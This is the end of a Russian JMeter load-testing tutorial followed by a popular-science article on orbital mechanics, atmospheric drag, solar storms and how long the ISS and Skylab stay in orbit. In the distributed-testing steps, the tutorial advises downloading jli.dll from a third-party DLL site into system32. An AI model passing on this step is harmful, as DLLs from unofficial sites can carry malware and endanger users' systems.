> и всех других параметров, которые нужно менять. Сохраняем файл и открываем его в Jmeter. Возвращаем значения в HTTP Request Defaults. Теперь они распространяются и на те запросы, у которых были указаны свои настройки.
Далее очистим проект он ненужной информации. Некоторые пакеты ссылаются к сторонним сервисам, на которые нам не нужно создавать нагрузку. Их нужно удалить. Для этого нужно перебрать их все и посмотреть, какое указано значение Server Name or IP. Если имя сервера не имеет отношения к тестируемому ресурсу — мы не создадим на него дополнительной нагрузки. Такие url удаляем (нажатием del):
А такие оставляем:
> Если в url нам нужно прописать ссылку с параметром или изменить текущий, нажимаем на url, в который нужно вставить (править) параметр. В графе Parameters вносим нужные изменения.
>
> 
>
> В случае надобности указать параметры через переменные, добавим в Thread Group **User Defined Variables** нажатием на него правой клавишей — Add — Config Element — User Defined Vaiables. Добавляем переменные, указав их Name и Value. Теперь указываем параметры как переменные в формате в формате ${VariableName}.
>
> 
Добавим в Thread Group по очереди элементы просмотра. Нажимаем правой клавишей на Thread Group — Add — Listener — **Graph Results**, **Aggregate Report**, **View Result in Table** и **View Result Tree**.
Последняя настройка перед запуском — указать количество пользователей (Number of Threads) и количество итераций (Loop Count) нужно, нажав на Thread Group и установив соответствующие параметры.
> Распределить тестирование можно при помощи запуска нескольких копий теста на разных хостах, но управляемых с одного центрального. Это увеличивает нагрузку и совершается следующим образом:
>
> * На компьютере-сервере запускаем файл /bin/rmiregistry.exe. Если в сборке этот файл отсутствует, скачайте его через поисковик. Если при запуске файл ругается на отсутствие библиотеки jli.dll, скачайте ее также (например, здесь [www.search-dll.com/dll-files/download/jli.dll.html](http://www.search-dll.com/dll-files/download/jli.dll.html)) и закиньте в windows/system32 (system64).
> * Открываем /bin/jmeter.properties через Notepad++, здесь необходимо снять комментарий со строки server.rmi.create=false, удалив символ «#» вначале строки.
> * Запускаем /bin/jmeter-server.bat.
> * На клиенте в файле /bin/jmeter.properties нужно указать хосты в строке remote\_hosts, например remote\_hosts=10.1.100.101, 10.1.100.102, 10.1.100.103, после чего нужно перезапустить Jmeter.
> * Запускаем тест, выбрав пункт меню Run — Remote Start (для запуска одного хоста) или Run — Remote Start All (для запуска всех хостов).
>
Все готово. Запускаем тест, нажатием зеленого треугольника на верхней панели и открываем любой из элементов просмотра — перед нами статистика онлайн. Поскольку мы установили Loop Count — Forever, нажмем Stop после тестирования. Теперь по порядку о каждом элементе просмотра.
**Graph Results** отобразит результат в виде графика:
Значения предоставлены в миллисекундах.
Data — время отклика каждой отдельной единицы данных т.е. каждого проверенного url.
Average — усредненное время отклика, объективный график изменения нагрузки.
Median — значение медианы (используется в статистике, я этими данными не пользуюсь).
Deviation — погрешность, стандартное отклонение.
Throughput — пропускная способность выполняемых запросов.
Для работы достаточно значений Average и Throughput, которые отобразят нагрузку на веб-сервер и пропускную способность запросов. По графику выше видно, что время отклика примерно 200мс и не растет, то есть, сервер нормально выдерживает нагрузку в 3 виртуальных пользователя. А вот что получится, если их будет 30:
Время отклика значительно увеличивается, чем выше пропускная способность запросов (меньше миллисекунд), тем больше времени требуется серверу для обработки.
Кстати говоря, в то время, когда запущен тест, сайт действительно ложится, поэтому не следует проверять на нагрузку сторонние интернет-ресурсы, так как нас могут принять за ддосеров.
**Aggregate Report** отобразит статистику по каждому индивидуальному url отдельно.
В столбце Average видим среднее время отклика, логично предположить, что чем оно больше — тем больше нагрузка на данный url.
**View Result in Table** отобразит результат в виде таблицы, здесь указано время, а также статус (успешно/не успешно).
В нижней строке ошибка. Почему именно она возникла, можно проверить в **View Result Tree**. Зайдем туда и найдем эту строку. Теперь видим причину ошибки.
На этом тестирование завершено. В ходе него мы проверили одно из веб-приложений на нагрузку, и получили очень наглядные результаты. | https://habr.com/ru/post/165159/ | null | ru | null |
# Как уронить космическую станцию
Когда "Наука" креативно избавлялась от остатков топлива, разворачивая МКС вокруг своей оси, мне стало любопытно: если расположение случайно включившегося двигателя было бы максимально неудачным, **сколько потребовалось бы времени, топлива и тяги, чтобы свести станцию с орбиты**?
МКС на фоне источника всех наших проблем. Автор: Andrew McCarthy instagram.com/cosmic\_backgroundСегодня в выпуске: читаем с выражением первую страницу учебника по орбитальной механике, выясняем где у Солнца его смертельные лазеры, вспоминаем осень 2003, пишем отвратительно медленный код (из−за чего пьем много чая), пытаемся уронить МКС и Lunar Gateway.
Статья вновь получилась большой, и была снабжена лифтом:
1. [Основы орбитальной механики](#a1)
1.1 [Почему вещи не падают с орбиты?](#a11)
1.2 [Элементы орбиты](#a12)
1.3 [А как ехать?](#a13)
2. [О космической погоде](#a2)
2.1 [Sun is a Deadly Laser](#a21)
2.2 [Что-то случилось](#a22)
2.3 [Как утонул Skylab](#a23)
3. [Как уронить МКС?](#a3)
4. [Как уронить Lunar Gateway?](#a4)
5. [Ссылкография](#a6)
6. [Благодарности](#a7)
1. Основы орбитальной механики
------------------------------
**Disclaimer**: Далее идет вольный пересказ первой страницы учебника, да еще и в двухмерном варианте. Если вам это знакомо, можете смело мотать [сюда](#a2)
Орбитальная механика довольно контринтуитивна, за что её и стоит любить. Мы привыкли водить машины, и знаем особенности их динамики. Кто-то привык ездить на велосипедах и мотоциклах, и знает особенности их. Меньше привыкло к лодкам и катерам, а еще меньше — к самолетам. Но почти никто, кроме соответствующих специалистов (и игроков в Kerbal Space Program!) не сталкивается на ежедневной основе с орбитальной механикой.
### 1.1 Почему вещи не падают с орбиты?
Они падают, ведь них действует та же сила притяжения, что действует на падающую со стола чашку, и только она. Просто они промахиваются мимо Земли.
Сила притяжения:
Где **M** это масса большого и тяжелого тела Земли, **G** - гравитационная постоянная (6.674e-11). Произведение G и M очень часто встречается в этих формулах, поэтому его обозначают как чтобы две буквы не писать. **m** - Масса космического корабля. А **r** - расстояние до большого и тяжелого тела. Важно, что r это **не** высота над поверхностью, а расстояние до центра Земли: ведь именно вокруг центра вращается корабль. К высоте надо прибавлять радиус Земли — 6.371e6 метров, так что **орбиты высотой 200 и 400км различаются не в 2 раза, а в 1.03**.
Планета Земля, наш дом. Разве она не прекрасна?Возьмем плоскую Землю (любому думающему человеку очевидно, что Земля плоская).
Попробуем вывести что-то на орбиту:
Поднявшись в точку, отмеченную красным, возьмем космическую станцию и отпустим: станция разгонится и разобьется об землю. Обидно, но таков путь экспериментатора.
Повторим эксперимент:
Можно попробовать кинуть её вправо (слева у нас текст), и наблюдать, что станция прожила подольше: она так же падала вниз, но до поверхности ей пришлось лететь дальше.
Еще раз:
Можно кинуть её еще сильнее, и тогда несчастная станция успеет улететь за край земли. Но неизбежно разобьется с другой стороны.
И еще:
Наконец, можно кинуть её еще чуть сильнее и — о чудо! — станция не разбивается об землю, а делает полный оборот и возвращается к нам.
И чтобы стало совсем красиво:
А если выбрать правильную скорость, она будет летать по красивой круговой орбите.
Вот так, сломав всего три станции, вы научились выводить вещи на орбиту.
В реальности, конечно, никто не поднимает ракеты вверх и не кидает их в сторону горизонта. Профиль полета ракеты таков, что она сначала как можно быстрее выбирается из плотных слоев атмосферы (летит вверх), а потом постепенно поворачивается к горизонту и разгоняет корабль. На завершающем этапе разгона корабль летит уже параллельно земле.
### 1.2 Элементы орбиты
Для нашего прекрасного плоского мира орбита выглядит так:
Это эллипс, в одном из фокусов которого находится планета Земля. Самая дальняя от неё точка орбиты называется **апоцентр**, а самая ближняя — **перицентр**. Иногда, в зависимости от контекста, под апоцентром и перицентром понимают расстояния от станции до центра планеты, когда она находится в этих точках.
Но мы будем называть это расстоянием в апоцентре/перицентре.
Сумма расстояний в апоцентре и перицентре — длина большой оси эллипса. А половина от неё — **большая полуось**. Это тоже важный параметр орбиты, часто встречающийся в формулах. Если орбита круговая, то расстояния в перицентре, апоцентре и большая полуось равны.
Расстояние между фокусами эллипса, деленное на большую ось называется **эксцентриситет орбиты**. Он обозначает "вытянутость" орбиты. У круговой орбиты он равен 0, потому что оба фокуса в одной точке.
Время за которое корабль делает один виток по орбите — **период орбиты**. И считается он очень просто:
Где a - это большая полуось, - масса Земли умноженная на гравитационную постоянную.
Чем меньше полуось (чем ниже над Землей летает корабль), тем меньше период орбиты. Заметьте, что он не зависит от эксцентриситета. Об этом же говорит чертеж арбуза из учебника:
Если корабль на орбите находится на расстоянии *r* от центра Земли, величину его скорости можно узнать так:
Скорость корабля в апоцентре будет самой низкой (вы подкидываете что−то в воздух, и в самом верхнем участке траектории скорость минимальна), а в перицентре — самой высокой (оно падало аж с самого апоцентра и успело набрать скорость).
У настоящих орбит есть еще куча других параметров, описывающих их в двухмерном и трехмерном пространствах. Но для наших скромных целей они не нужны.
### 1.3 А как ехать?
Космические корабли, в основном, занимаются двумя вещами: меняют орбиту и ничего не делают. Чаще второе. Чтобы изменить орбиту, нужно изменить вектор скорости корабля. А чтобы изменить скорость, нужно на определенное время включить двигатели, направив их в нужную сторону.
Скажем, вы уже каким-то образом находитесь на круговой околоземной орбите (1), и хотите на Луну. Вам нужно включить двигатель ровно настолько, чтобы поднять апоцентр своей орбиты до орбиты Луны (2). Причем сделать это нужно в правильный момент: чтобы, когда вы подниметесь до апоцентра, Луна находилась там же.
Когда вы окажетесь рядом с Луной, ваша орбита всё еще будет эллиптической. Гравитация Земли потянет вас обратно вниз, и чтобы не улететь от Луны, вам придется набрать такую же скорость как она. Еще один импульс двигателя, чтобы поднять перицентр орбиты и сравнять её с лунной (3). Теперь вы болтаетесь где-то около Луны, поздравляю.
Эти прыжки по орбитам называются ["Гомановский переход"](https://en.wikipedia.org/wiki/Hohmann_transfer_orbit). Это самый простой и энергоэффективный способ перемещаться от одного небесного тела к другому.
Но что, если вы на Луну не хотите, а хотите домой? Всё просто: разворачиваете корабль на 180° и даете импульс в другую сторону, тормозя корабль и снижая перицентр. У Земли толстая атмосфера, поэтому вам не нужно снижать перицентр прямо до поверхности: достаточно утопить его в атмосфере, и она затормозит корабль.
Но есть одна уловка (всегда есть одна уловка). Если вы затормозите слишком сильно, то корабль войдет в атмосферу под большим углом, а плотность атмосферы растет по экспоненте. Он не успеет достаточно затормозить перед плотными слоями, и поездка будет не из приятных. В лучшем случае вы отделаетесь большими перегрузками, а в худшем — корабль развалится от нагрузки.
А если вы, испугавшись предыдущего предложения, войдете в атмосферу под слишком маленьким углом, её может не хватить чтобы погасить значительную часть скорости, и корабль вылетит из атмосферы с новой, гораздо более низкой, орбитой. Это не так страшно, но как минимум, приземлитесь вы уже не там, где хотели.
Но при посадке на Луну вам придется тратить топливо еще и на торможение с орбитальной скорости до нулевой.
На Земле мы привыкли измерять расстояния. Можно сказать, что любому автомобилю, чтобы добраться из Москвы в Питер, потребуется пройти путь в 700 километров. Но не зная, что это за автомобиль, больше ничего сказать нельзя: скорость и расход топлива будут зависеть от огромного количества факторов, внутренних и внешних. Не так с космосом. Пройденный путь здесь не очень важен — вы можете совершенно бесплатно болтаться на орбите, ожидая нужное положение Луны, и наматывая тысячи километров. Но важна скорость: чтобы поднять орбиту до Луны, нужно разогнаться на X м/с, чтобы опустить перицентр в атмосферу, нужно замедлиться на Y м/с, и так далее. И эта скорость не зависит от массы корабля (ведь мы делим силу на массу, и маленькие m сокращаются). Спутнику массой 500кг и кораблю массой 40 тонн нужна будет одна и та же скорость, чтобы достичь Луны.
Изменение скорости, необходимое для перехода с одной орбиты на другую, называют **характеристической скоростью**, или **ΔV** (delta−V). В ней же можно выражать и возможности корабля по маневрированию: если двигатель, потратив всё топливо, разгоняет корабль до 2000м/c, значит столько у него ΔV. И до Луны он не долетит (нужно порядка 3000м/c дельты, чтобы поднять апоцентр с низкой околоземной орбиты до Луны).
Какие параметры бывают у ракетных двигателей? Двигатель занимается тем, что берет топливо из корабля, каким-то образом разгоняет его и выбрасывает за борт. Помимо растраты ценных ресурсов, это придает ускорение кораблю. Ведь сила действия и противодействия равны и всё такое.
Один из важных параметров двигателя, это **скорость истечения** газов из сопла. Обычно она порядка 3000м/c.
Из нее получается второй важный параметр, который описывает эффективность двигателя: **удельный импульс**. Он обычно порядка 300 секунд. Почему он измеряется в секундах? Всё просто: удельный импульс это скорость истечения, деленная на ускорение свободного падения на Земле на уровне моря. Какого черта? А это удобный способ связать вместе разные системы счисления (метры и футы) и получить одинаковую цифру независимо от системы мер, которой можно хвастаться коллегам за океаном.
**Тяга двигателя**: сила, с которой он толкает корабль. Измеряется в ньютонах, кгс (9.81 ньютона) или lbf (4.45 ньютона). Зная тягу и массу корабля, можно примерно оценить какое **ускорение** создает двигатель: но только, если масса топлива мала по сравнению с массой корабля! Иначе надо учитывать, что с расходом топлива она будет заметно снижаться.
Зная удельный импульс и тягу, можно оценить [**потребление топлива за секунду**](https://en.wikipedia.org/wiki/Thrust-specific_fuel_consumption):
![ TSFC[kg/second] = \frac{102}{I_{sp}[seconds]}*Thrust[kN] ](https://habrastorage.org/getpro/habr/upload_files/a64/69d/ac5/a6469dac5ea894f33a410a3959ed7088.svg)Обратите внимание, что тяга в *кило*ньютонах.
Из этого, зная сколько топлива запасено в корабле, можно посчитать **сколько времени проработает двигатель**. Просто поделив массу топлива на потребление.
И зная ускорение и время работы двигателя, легко найти скорость, до которой он может разогнать корабль. ΔV = at, всё просто. Но, опять же, только в том случае если масса топлива пренебрежимо мала по сравнению с массой корабля! Иначе, нужно использовать формулу Циолковского:
Где m это масса корабля без топлива, Isp - удельный импульс, - масса топлива.
Вот и всё что нам нужно знать, чтобы ронять космические станции с орбиты.
2. О космической погоде
-----------------------
Даже на той высоте, где летает МКС, атмосфера всё еще влияет на движение. Поэтому, орбита МКС постепенно сползает вниз и её приходится поднимать, включая двигатели на одном из модулей, или на пристыкованном корабле. При этом станция довольно заметно ускоряется, что наглядно показывает астронавт Тим Пик, не желающий ускоряться вместе со станцией:
Разгон начинается где-то в 0:30, а через 70 секунд станция несется на Тима Пика с ужасающей скоростью в ~10см/сек. Ускорение получается 1.43e-3м/c. Или ~1/7000 земной силы тяжести. Почти как на [комете](https://en.wikipedia.org/wiki/67P/Churyumov%E2%80%93Gerasimenko), куда садился Philae.
Взяв массу станции в 440 тонн, можно оценить тягу двигателя:
Я прикинул тягу двигателей Союза по видео, потому что не смог её нагуглить. Совсем отчаявшись, я пошел жаловаться Зеленому Коту на то, что искать вещи в интернете ужасно сложно. Кот (вероятно, очень тяжело вздохнув) кинул в меня толстой [презентацией](https://vspu2019.ipu.ru/files/E_Mikrin%20On-board%20Control%20Systems%20for%20Space%20Vehicles.pdf) про российские КА и двигатели от них. Из которой я узнал, что тяга маневровых двигателей на Союзе - 129 ньютонов. Их 4 штуки, так что суммарная тяга получается 516. Оценка "на глаз" по видео дала ошибку всего на 20%.
### 2.1 Sun is a Deadly Laser
Плотность атмосферы на низкой околоземной орбите очень сильно зависит от активности Солнца: ультрафиолет жжет ионы, ионы бесятся и разлетаются в разные стороны, ионосфера разбухает и поднимается.
Активность солнца меняется затейливым образом, но для наших временных масштабов важен цикл в 11 лет. Общепринятым индикатором солнечной активности является мощность излучения на длине волны 10.7см (это 2.8ГГц). Называется это F107 index (или F10 или F10.7)
Видно, что в максимуме он порядка 200, а в минимуме ~70. Среднегодовое значение около 135. Единицы измерения F107 называются SFU (Solar Flux Units), и представляют собой, если вам лень читать вертикальный текст на картинке,  . Это мало, но [вполне измеримо](https://www.researchgate.net/publication/276314767_Development_of_28-GHz_solar_flux_receivers), если у вас есть большая антенна.
Еще видно, что на максимумах сигнал сильно шумит, а на минимумах — нет. Будто источник нестабильный. Но почему Солнце *настолько* нестабильно на таких коротких временных отрезках? Можно найти [другой график F107](https://lasp.colorado.edu/lisird/data/noaa_radio_flux/), и посмотреть там какой-нибудь максимум подробнее:
Активность меняется очень сильно, да еще и с периодом порядка месяца. Солнце сломалось? Нет, оно просто вращается. Один оборот за ~27 дней. А самые активные места на Солнце — пятна. И если куча пятен смотрит на Землю — F107 повышается. Для наглядности, я слепил этот график и [снимки](https://sohowww.nascom.nasa.gov/data/synoptic/sunspots_earth/) с [SOHO](https://sohowww.nascom.nasa.gov/) в одно видео:
(И музыку из Sunshine. Было невозможно удержаться)
Вторая вещь, влияющая на ионосферу: активность магнитного поля Земли. Для ее обозначения есть Ap index (а еще Kp index, но для длинных интервалов используют Ap). Можно скачать датасет Ap [отсюда](https://www.gfz-potsdam.de/en/kp-index/) и посмотреть, как он меняется со временем:
Здесь показаны данные за 12 лет с 1976 по 1988 года. Ap меняется очень сильно, но его среднее значение за месяц (синее) — гораздо меньше. Для длинных интервалов можно брать Ap неизменным.
Зная F10.7, Ap и высоту, можем посчитать плотность атмосферы, используя [эти модели](https://www.spaceacademy.net.au/watch/debris/atmosmod.htm). Для 420км при умеренных F107 (125) и Ap (10) получается 0.02мкг/м^3 (две сотых **микро**грамма на кубометр). Можно взять две модели CIRA и модель для 180-500 км и посмотреть, как плотность атмосферы меняется с высотой:
```
def get_air_density(h, F107=125, Ap=10):
# https://www.spaceacademy.net.au/watch/debris/atmosmod.htm
h = h / 1000
if h>180:
# "A MODEL FROM 180 to 500 KM"
T = 900 + 2.5*(F107 - 70) + 1.5*Ap
u = 27 - 0.012 * (h - 200)
H = T / u
p = 6E-10 * np.exp(-(h-175)/H)
else:
# CIRA model
p = np.interp(h, CIRA[:,0], CIRA[:,1])
return p
```
Рябь в левой части графика это линейная интерполяция таблички CIRA на логарифмической шкале, ничего страшного. МКС сейчас летает на высоте ~420км, проваливаясь вниз примерно на 10 метров за день. Раз в пару месяцев её орбиту поднимают обратно, при помощи двигателей на модуле Звезда или на одном из грузовых кораблей.
Для того чтобы посчитать силу, которую атмосфера оказывает на станцию, нужно знать её площадь сечения. Берем [3D модель](https://solarsystem.nasa.gov/resources/2378/international-space-station-3d-model/) с сайта NASA и крутим её по-всякому. На самом деле, станция часто ворочается на орбите. Или поворачивает солнечные панели, следя за солнцем. Поэтому сечение постоянно меняется. Рассмотрим два варианта: с наименьшим сечением и с наибольшим.
Наименьшее сечение выглядит так:
Панели повернуты вдоль вектора скорости и не тормозят об воздухНа 3D модели панели повернуты не так, поэтому просто их замажем. Затем двигаем диапазон на гистограмме, чтобы она показала нам количество пикселей отличных от фона:
Разные картинки из интернета говорят, что длина МКС (от края до края солнечных батарей) - 74 метра. На скриншоте это 1185 пикселей. Что дает длину пикселя в 6.24e-2 метра. А значит, площадь пикселя — 3.9e-3 м^2. А 82250 пикселей это **320м^2**. Здоровая!
А для наибольшего сечения, когда станция летит, подставив все панели ветру, площадь получилась бы уже **1400м^2**. Разница в 4.4 раза. В качестве отправной точки, возьмем 320м^2. Далее мы уточним это по реальным данным о скорости снижения орбиты.
Можем посчитать, сколько времени МКС проживет на своей орбите, без регулярной коррекции высоты:
Сила сопротивления атмосферы,
Где A — площадь, k — аэродинамический коэффициент, v — скорость, а p — плотность атмосферы (функция от высоты). k для низкой околоземной орбиты принято брать ~2, хотя пишут что он сильно различается. Дальше мы уточним его по реальным данным.
Период обращения по круговой орбите с радиусом 
 Где это - гравитационная постоянная и масса Земли
А радиус, выраженный через скорость
Значит, если подставить 
Скорость же, раз на станцию действует атмосфера, меняется со временем
Формула становится страшнее:
И еще страшнее:
И изменение периода со временем:
Раскрывать  долго и неприятно, но можно заметить, что первое слагаемое это сила сопротивления атмосферы деленная на массу, и она на порядки меньше скорости. Выкидываем это недоразумение. При небольшом  можно считать что и сократить у них степени. И еще, можно вернуть обратно 
Теперь, выбирая небольшой *dt* мы можем считать как меняется период (а через него — радиус орбиты) со временем:
```
h = height
T = 2*pi*np.sqrt((R+h)**3 / u);
while True:
p = get_air_density(h, get_F107(step*dt), get_Ap(step*dt))
T -= 3*pi * (R+h) * k*area * p / mass * dt_seconds
h = np.cbrt( (T**2 * u) / (4 * pi**2) ) - R
if h < reentry_height:
altitude_graph.append(reentry_height/1e3)
break
if step % int(print_dt/dt) == 0:
altitude_graph.append(h/1e3)
step+=1
```
И построить график:
Через 17 лет МКС сама упадет на Землю, если её периодически не пинать.
Обратите внимание, как ускоряется снижение. Чем ниже орбита, тем больше там плотность атмосферы и тем быстрее тормозится станция. К примеру, с орбиты в 350км падать уже 3.3 года, а с 200км — считанные дни.
Или не через 17 лет? Посмотрим реальный график высоты орбиты МКС:
За ~6.4 месяца она опустилась бы на 2км.
Теперь, посмотрим аналогичную часть нашего графика:
Чтобы утонуть на 2км, ей потребовалось целых 9.36 месяцев (0.78 года). Значит, k (или площадь сечения?) у нас в 1.46 раза меньше чем нужно.
Возьмем k = 2.9. На этом этапе уже не совсем правильно разделять площадь сечения и k. Мы сверились с реальными данными, но не знаем какая часть погрешности относилась к *k,* а какая к площади. Статьи с методами оценки времени жизни КА на орбите справедливо говорят, что надо перестать волноваться и начать говорить об "эффективной площади сечения", которая выражается как A\*k. Перестану волноваться и я, и скажу что A=320, а k=2.9.
11.5 лет, если Солнце всё это время не будет возмущаться.
Но оно будет. Скачаем кусок [датасета](https://lasp.colorado.edu/lisird/data/noaa_radio_flux/) за 11 лет (я выбрал 1976-1987гг: Лукас снял Star Wars, NASA построило Шаттлы, Вояджеры еще не покинули Солнечную Систему, а HELLOWEEN выпустили первый альбом, хорошее время) и будем брать данные из него.
Вот тут мы начали с минимума, и станция прожила всего 7.3 года.А если начать с максимума — 3.3. Но что, если Солнце особенно лютое? Можно погулять по датасету и узнать что самая большая активность была в 50х-60х годах. Берем кусок за этот цикл (там отрицательный unixtime, так мило!) и смотрим:
2.5 года, если нам не повезло попасть на максимум такого солнечного цикла.Разный уровень солнечной активности может сократить жизнь станции в 3 раза. Не стоит недооценивать солнце.
Во всяких видео и текстах про МКС постоянно делают оговорку, мол "у нас тут не невесомость, а микрогравитация". Я всегда наивно думал, что микрогравитация вызвана как-раз ускорением от торможения станции об атмосферу. Но давайте посчитаем:
При F10.7 = 100 и Ap = 5, плотность атмосферы на высоте 420км будет
1.4e-12кг/м^3 А сила сопротивления атмосферы при площади сечения 320м^2, k=2.9 и скорости в 7.66км/с:
Вполне ощутимая цифра, казалось бы. Но учитывая массу станции в 440 тонн, ускорение составит всего 0.04/440e3 = 9e-08 м/с^2. Или одну стомиллионную от земной силы тяжести.
На самом деле, больше всего проблем для экспериментов, требующих невесомости, создает не торможение об атмосферу, а вибрации от работы оборудования или экипажа. Чтобы вы понимали масштаб трагедии, вот тут экипаж просыпается:
 ([источник](https://www.nasa.gov/sites/default/files/atoms/files/acceleration-environment-iss-mini-book_detail-508c.pdf))
### 2.2 Что-то случилось
Что-то случилось на Солнце [в конце октября 2003 года](https://en.wikipedia.org/wiki/Halloween_solar_storms,_2003). Серия вспышек, завершившаяся самой мощной за всю историю наблюдений, устроила полярное сияние в центральной Европе и [Техасе](https://www.nasa.gov/mission_pages/sunearth/multimedia/aurora-houston-texas-10-03), и повлияла на всё от радиосвязи до функционирования космических аппаратов.
Последняя и, самая сильная, вспышка случившаяся 4 ноября была направлена практически на 90° от нас. Ее мощность [оценивают как X45](http://www.spaceref.com/news/viewpr.html?pid=13844). А предыдущая вспышка, 28 октября, была "всего" X17.2. *Xn* означает,  ватт рентгена на квадратный метр на уровне околоземной орбиты.
Обратите внимание, что X17.2 (в начале видео) почти полностью ослепила камеру на несколько часов, а X45 в конце, будучи в 2.6 раза мощнее, дала еле заметную пургу. Хорошо, что Солнце успело повернуться, и самая мощная вспышка ударила мимо.
Через пару часов после вспышки, выброшенный солнцем ионизированный газ долетел до Земли, и Ap индекс сделал сальто:
Возмущения магнитосферы привели к проблемам с радиосвязью, и авиарейсы летающие над полярными регионами (где часто недоступна спутниковая связь), были вынуждены сменить маршруты или задержать вылеты.
Проблемы с радио попортили жизнь и в Антарктике, где в то время активно пользовались связью в HF диапазоне. Магнитная буря оставила радиорелейную станцию без связи с землей почти на несколько дней. Что сказалось и на авиарейсах, и на работе антарктических баз.
Кроме проблем с радио, бури наводили ток в длинных, неудачно расположенных, линиях. Самой неудачливой оказалась ЛЭП в городе Мальмё, в Швеции. Геомагнитная буря навела дифференциальный ток в многокилометровых проводах, протянувшихся с востока на запад. Защитная автоматика пожала плечами и обесточила центр города. 50 тысяч человек сидели час без света и очень удивлялись.
Все эти проблемы на Земле были побочным эффектом того, как магнитосфера останавливала порывы солнечного ветра. Но космические аппараты, разбросанные по орбите, и в разных уголках солнечной системы, не могли рассчитывать на её защиту.
Первыми пострадали камеры. Это отлично видно на видео с SOHO.
Момент вспышки и метель через 2 часаЧего там не видно, так это того, что камеры используются не только для научных наблюдений: многие КА ориентируются в пространстве по положению звёзд. И вам становится сложно следить за звёздами, когда прямо в CCD матрице каждую минуту вспыхивает сотня новых. **Mars Express** ослеп на 15 часов и был вынужден ориентироваться только по гироскопам. **Microwave Anisotropy Probe** ослеп только на один глаз (у него было два трекера звезд). **Opportunity** и **Spirit**, которые в это время летели к Марсу, тоже временно потеряли звезды.
Но раз солнечный ветер зажигает звезды в CCD матрицах, он может делать это и в другой электронике. На **Mars Odyssey** начались ошибки чтения памяти, и его пришлось перезагружать. Он ожил, а вот инструмент MARIE в его составе — нет. MARIE это [Mars Radiation Environment Experiment](https://mars.nasa.gov/odyssey/mission/instruments/marie/), который должен был оценивать уровень радиации на Марсе для планирования будущих пилотируемых миссий. Можно сказать, что задачу он выполнил досрочно. **Stardust**, летевший ловить пыль от кометы, так же на время ушел в безопасный режим из-за ошибок чтения памяти. **SMART-1**, летевший к Луне, три раза аварийно отключал двигатели из-за высокого уровня радиации, но всё-таки долетел. **DRTS**, висевший на ГСО и служивший релейной станцией для КА на низкой орбите, тоже ушел в сейфмод. **CHIPSat**, болтавшийся на низкой орбите, полностью отключился на 18 часов из-за сбоя в процессоре. Он потерял ориентацию в пространстве, и когда очнулся, обнаружил что вращается. К счастью, связь вернулась и спутник удалось стабилизировать. Орбитальный рентгеновский телескоп **CHANDRA** не работал 4 дня. **ACE**, изучавший состав солнечного ветра, настолько преуспел, что испортил себе один из каналов спектрометра.
**Спустя пол года** отголоски шторма [дошли и до Вояджеров](https://cdaw.gsfc.nasa.gov/publications/gopal/gopal2006SEE_20.pdf#page=4). Но им было всё равно: они покидали Солнечную систему.
Но больше всего не повезло **ADEOS-2**. Стоивший почти полмиллиарда долларов, и запущенный в конце 2002 года (всего за год до вспышки), он летал на низкой околоземной орбите, наблюдал за климатом и никого не трогал. Пока, внезапно, не потерял питание от солнечных батарей. [Одна из версий](https://arc.aiaa.org/doi/abs/10.2514/6.2004-5657) — повреждение изоляции силовых кабелей солнечных панелей от нагрева, и пробой между ними и термозащитой из фольги, которая набрала большой отрицательный заряд от захваченных магнитосферой электронов из солнечного ветра.
А сам **SOHO** отделался довольно легко — один из инструментов пришлось выключить на время, но всё наладилось. SOHO вообще [невероятно везучий](https://www.theregister.com/2020/07/29/esa_soho_space_extenders/): построенный с расчетной длительностью миссии в 3 года, он работает уже 26 лет, и не собирается помирать.
Частицы солнечного ветра, захваченные магнитным полем Земли, разогревали ионосферу, что привело к заметному ускорению снижения орбиты МКС:
Здесь красными линиями, для наглядности, отмечен наклон кривой на разных этапах. Видно что до и после шторма, скорость снижения была практически одинаковой, а вот во время — сильно возросла. Экипаж МКС в те моменты, когда солнечный ветер от очередной вспышки достигал Земли, уходили прятаться в самую защищенную от радиации часть станции: российский сегмент. Советская фольга самая толстая, приятно знать.
Так что не только солнечная активность в целом, но и отдельные вспышки, могут влиять на орбиты космических аппаратов, и гораздо больше — на их работоспособность.
### 2.3 Как утонул Skylab
DisclaimerДалее находится байка про то, как Skylab упала раньше срока из-за высокой солнечной активности, а двигательный модуль не успели вовремя достроить.
Когда мне её рассказывали, и когда я мельком читал о ней в книжках, всё выглядело более драматичным, чем оказалось при подробном рассмотрении.
Но я всё же решил ее оставить, как наглядный пример влияния солнечной активности на срок жизни космических аппаратов
Здесь я буду в основном ссылаться на [вот эту страницу](https://history.nasa.gov/SP-4208/ch19.htm) из не очень серьезной книги, и [вот этот, более серьезный, документ](https://ntrs.nasa.gov/api/citations/19810005468/downloads/19810005468.pdf).
Skylab, пустая ступень от ракеты Saturn-V, в топливном баке которой с комфортом размещался экипаж из трех астронавтов, была запущена 14 мая 1973 года. Сменив три экипажа, и пролетав несколько лет покинутой, 11 июля 1979 она захлебнулась в атмосфере.
*А должна была в конце 1980*. По крайней мере об этом говорили расчеты, сделанные прямо перед запуском. К тому времени уже ожидались шаттлы, и были планы доставить на Skylab [двигательную установку](https://en.wikipedia.org/wiki/Teleoperator_Retrieval_System), TRS, для поднятия орбиты (или для управляемого затопления)
TRS начали строить в 1977 и планировали запустить с одним из первых шаттлов, в конце 1979. Но на Солнце было слишком много пятен, чего никто не ожидал:
Серым выделено время жизни Skylab. Смотрите, насколько максимум 1980х годов выше максимума 1970х.
Шаттлы задерживались, TRS была не готова, и станция утонула на полтора года раньше срока. Мы можем посмотреть, как это было.
Масса станции 76 тонн (без пассажирского корабля). Орбита, на которой её оставила последняя миссия — 455х435км, почти круговая, так что возьмем 445км. Площадь сечения по [3D модельке](https://nasa3d.arc.nasa.gov/detail/skylab-c) получается 150м2 (станцию оставили болтаться главной осью вдоль вектора силы тяжести). k возьмем, как и для МКС — 2.9. А погоду на Солнце возьмем из архива за нужный временной период.
Середина 1979 года. Чуть раньше июля, но в целом неплохое попадание.
Какую солнечную активность предсказывали на этот максимум? [Вот этот](https://ntrs.nasa.gov/api/citations/19810005468/downloads/19810005468.pdf#page=17) отчет NASA о завершении миссии Skylab, говорит, что перед запуском (в мае 1973 года) на начало 1979 года ожидали F10.7 всего ~100.
Обратите внимание, что диапазон в +2σ уже недалеко от реальных значений (отмечены кружками), а более ранние расчеты (от 69 и 72 годов) предсказывают еще большую активность. Так что вариант "о ужас, станция утонула на 4 года раньше срока!", который я слышал это натягивание двух сигм на глобус Солнца.
Но если бы активность действительно была такой низкой, станция продержалась бы дольше:
Почти до конца 1980 года! Шаттлы бы не успели, но TRS предлагали запустить на других ракетах (то, что шаттлы не успеют, было понятно заранее).
